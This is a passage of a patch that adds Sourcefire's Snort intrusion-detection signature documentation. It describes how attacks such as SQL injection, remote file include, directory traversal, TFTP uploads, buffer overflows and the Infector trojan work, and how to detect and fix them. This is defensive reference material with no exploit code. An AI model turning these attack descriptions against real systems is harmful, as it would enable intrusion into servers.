+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1374.txt
+++ snort-2.8.5.2/doc/signatures/1374.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+1374
+
+--
+Summary:
+Attempted .htgroup access via web
+
+--
+Impact:
+Attempt to gain information on group access permissions on a webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the user and administration groups used on a webserver. The .htgroup file lists the groups allowed to access resources on a webserver. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '.htgroup'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing viewing of this file via a URI is suggested. For Apache webservers add the following to httpd.conf and restart the server.
+
+<Files ~ "^\.ht">
+    Order allow,deny
+    Deny from all
+</Files>
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2432.txt
+++ snort-2.8.5.2/doc/signatures/2432.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2432
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Denial of Service. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/518.txt
+++ snort-2.8.5.2/doc/signatures/518.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+518
+
+--
+
+Summary:
+This event is generated when a TFTP PUT request is made.  This is an indication that someone is attempting to create or place a file on the server.
+
+--
+
+Impact:
+A TFTP PUT requests allows a remote attacker to create, modify, or replace files on the server running TFTP.  If the TFTP server allows anonymous TFTP PUT requests it could be possible to upload malicious files and payloads to the server.
+
+--
+
+Detailed Information:
+This rule will generate an event on in-bound TFTP PUT requests.  Attackers my use TFTP to upload and download files from a server that is properly or improperly configured.  This could result in malicious payload being uploaded to the server or sensitive files being downloaded.
+
+--
+
+Attack Scenarios:
+Attackers may use TFTP to upload and download files from server that are properly or improperly configured.  Normally attackers attempt to locate TFTP servers using automated scanners and tools.  Once a TFTP server is located an attempt to write files and get files from the TFTP server is made.  Depending on the results of those tests attackers may attempt to further exploit that system, by overwriting system files or downloading password files to access the system.
+
+--
+
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large subnets for improperly configured TFTP servers.
+
+--
+
+False Positives:
+Legitimate TFTP PUT requests for updating routers or other access devices may trigger this rule.  
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+The TFTP server should be configured to only allow PUT requests from trusted locations.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+--
+
+Additional References
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0183
+http://www.whitehats.com/info/IDS148
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2010.txt
+++ snort-2.8.5.2/doc/signatures/2010.txt
@@ -0,0 +1,98 @@
+Rule:
+
+--
+Sid:
+2010
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development. It is possible for a remote
+attacker to exploit a bug in the cvs daemon that will allow the 
+perpetrator the ability to execute code, issue a denial of service, 
+compromise code being stored in CVS and read sensitive information. 
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine. Software development could 
+be halted, code could be lost or stolen and code auditing after the fact
+could affect delivery of software.
+
+--
+Detailed Information:
+Specially crafted directory requests can be used to exploit a double 
+free memory reference bug in the CVS software. It is possible to force 
+the CVS daemon to execute an error that returns a pointer to already 
+freed memory. This is a well known bug.
+
+Since cvsd may be run as root via inetd, the compromise will present the
+attacker with root privileges on the machine. Any code the attacker is 
+able to execute will have root privileges.
+
+It is also possible for the attacker to bypass all write checks and be 
+able to write to the repository using the "anonymous" or "anoncvs" 
+accounts commonly used for read only access. The source code may then be
+compromised by the attacker who could choose to insert malicious code of
+his own making.
+
+If the CVS password database is writable by the CVS user the result is a
+remote root compromise.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected but the entire CVS 
+directory structure is vulnerable.
+
+--
+Affected Systems:
+	CVS versions 1.11.4 and earlier
+	
+--
+Attack Scenarios:
+The attacker could pass a specially crafted directory request to trigger
+an error condition. The attacker may then be presented with the 
+opportunity to execute code or issue shell commands on some systems.
+
+--
+Ease of Attack:
+Simple, an exploit is available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous access to the cvs server.
+
+Update the CVS software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+www.cert.org/advisories/CA-2003-02.html
+www.kb.cert.org/vuls/id/650937
+
+CVE Entry:
+CAN-2003-0015
+
+CVS:
+http://ccvs.cvshome.org/servlets/NewsItemView?newsID=51
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000389.txt
+++ snort-2.8.5.2/doc/signatures/100000389.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000389
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "approb.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "approb.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000824.txt
+++ snort-2.8.5.2/doc/signatures/100000824.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000824
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VBZooM" application running on a webserver. Access to the file "sendmail.php" with SQL commands being passed as the "UserID" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "UserID" parameter in the "sendmail.php" script used by the "VBZooM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZooM
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000554.txt
+++ snort-2.8.5.2/doc/signatures/100000554.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000554
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "tid" parameter in the "error.php" script used 
+by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1088.txt
+++ snort-2.8.5.2/doc/signatures/1088.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1088
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3314.txt
+++ snort-2.8.5.2/doc/signatures/3314.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3314
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000735.txt
+++ snort-2.8.5.2/doc/signatures/100000735.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000735
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MailAdmin.Action.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MailAdmin.Action.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2909.txt
+++ snort-2.8.5.2/doc/signatures/2909.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2909
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_snapshot_support
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000338.txt
+++ snort-2.8.5.2/doc/signatures/100000338.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000338
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpMyDirectory" application running on a webserver. Access to the file "header.php" using a remote file being passed as the "ROOT_PATH" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "ROOT_PATH" parameter in the "header.php" script used by the "phpMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpMyDirectory
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2088.txt
+++ snort-2.8.5.2/doc/signatures/2088.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2088
+
+--
+Summary:
+vulnerability in the rcp service ypupdated.
+
+--
+Impact:
+Information disclosure and possible code execution.
+
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The ypupdated service is used in conjunction with NIS servers to 
+remotely update changes made in NIS databases.
+
+On recieving a request the yupdated service executes a make command 
+using the Bourne shell. It is possible to execute code using 
+metacharacters in the request.
+
+Commands and code after the metacharacters in the request will be 
+executed with the privileges of the super user on the vulnerable system.
+
+--
+Affected Systems:
+	HP-UX 10.1, 10.10 and 10.20
+	
+	IBM AIX 3.2 and 4.1
+	
+	NEC EWS-UX/V (Rel4.2MP), (Rel4.2)
+	NEC UP-UX/V (Rel4.2MP)
+	NEC UX/4800 (64)
+	
+	SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3
+	SGI IRIX 4.0, 4.0.1 T, 4.0.1,4.0.2, 4.0.3, 4.0.4 T, 4.0.4 B, 4.0.4, 4.0.5 IPR, 4.0.5 H, 4.0.5 G, 4.0.5 F, 4.0.5 E, 4.0.5 D, 4.0.5 A, 4.0.5 (IOP), 4.0.5
+	SGI IRIX 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3 XFS, 5.3
+	SGI IRIX 6.0, 6.0.1 XFS, 6.0.1
+	
+	Sun SunOS 4.1 PSR_A, 4.1, 4.1.1, 4.1.2, 4.1.3 c, 4.1.3 _U1, 4.1.3, 4.1.4 -JL, 4.1.4
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypupdated service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypupdated daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1749
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2855.txt
+++ snort-2.8.5.2/doc/signatures/2855.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2855
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure remove_master_databases
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1262.txt
+++ snort-2.8.5.2/doc/signatures/1262.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1262
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) admind is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port admind is using.  Attackers can also learn what versions of the admind protocol are accepted by admind.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as admind run.  The admind RPC service is used by some UNIX hosts to remotely perform distributed system administration tasks such as adding new users.  If weak authentication is used, it may be possible for a malicious user to perform remote administration.
+
+--
+Affected Systems:
+Any host running admind with weak authentication.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where admind runs.  This may be a precursor to accessing admind.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access admind, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for admind, not probes of the admind service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the admind service itself. An attacker may attempt to go directly to the admind port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS18
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/121.txt
+++ snort-2.8.5.2/doc/signatures/121.txt
@@ -0,0 +1,112 @@
+Rule:
+
+--
+Sid:
+121
+
+--
+Summary:
+Infector is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Infector sever to
+programs normally started on boot. Due to the nature of this Trojan it 
+is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	117	Infector 1.x
+	120	Infector 1.6 Server to Client
+	121	Infector 1.6 Client to Server Connection Request
+
+This Trojan is commonly used to install other Trojan programs.
+
+The Trojan also makes changes to the system registry and win.ini file.
+
+Notification of an active server is achieved via IRC or ICQ.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Apxil32.exe a backup 
+copy is made and usually named D3x32.drv.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added are:
+
+	apxil32 = apxil32.exe
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Apxil32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected 
+machine is recommended.
+
+A change is also made to the win.ini file, the line run=apxil32.exe 
+apxil32.exe is added and should be deleted.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS315
+http://www.whitehats.com/info/IDS502
+http://www.whitehats.com/info/IDS503
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/infector.htm
+
+Megasecurity:
+http://www.megasecurity.org/trojans/i/infector/Infector_all.html
+
+Simovits:
+http://www.simovits.com/trojans/tr_data/y1627.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2793.txt
+++ snort-2.8.5.2/doc/signatures/2793.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2793
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_statistics
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1841.txt
+++ snort-2.8.5.2/doc/signatures/1841.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1841
+
+--
+Summary:
+This event is generated when a client on the protected network has 
+possibly visited a website containing malicious javascript code.
+
+--
+Impact:
+Minimal
+
+--
+Detailed Information:
+Certain versions of Mozilla and Netscape may allow script code to access
+local cookie data.
+
+By accessing a maliciously coded webpage, a users cookie data from any 
+domain may be viewed by the website's administrator.
+
+--
+Affected Systems:
+	Mozilla versions prior to 1.0.1
+	Netscape versions prior to 6.2.1 
+
+--
+Attack Scenarios:
+A devious website admin creates a webpage with malicious code and 
+obtains sensitive cookie data from a visiting user's web browser about 
+any domain he wishes.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives: 
+Some peer-to-peer applications may cause this rule to generate an event.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
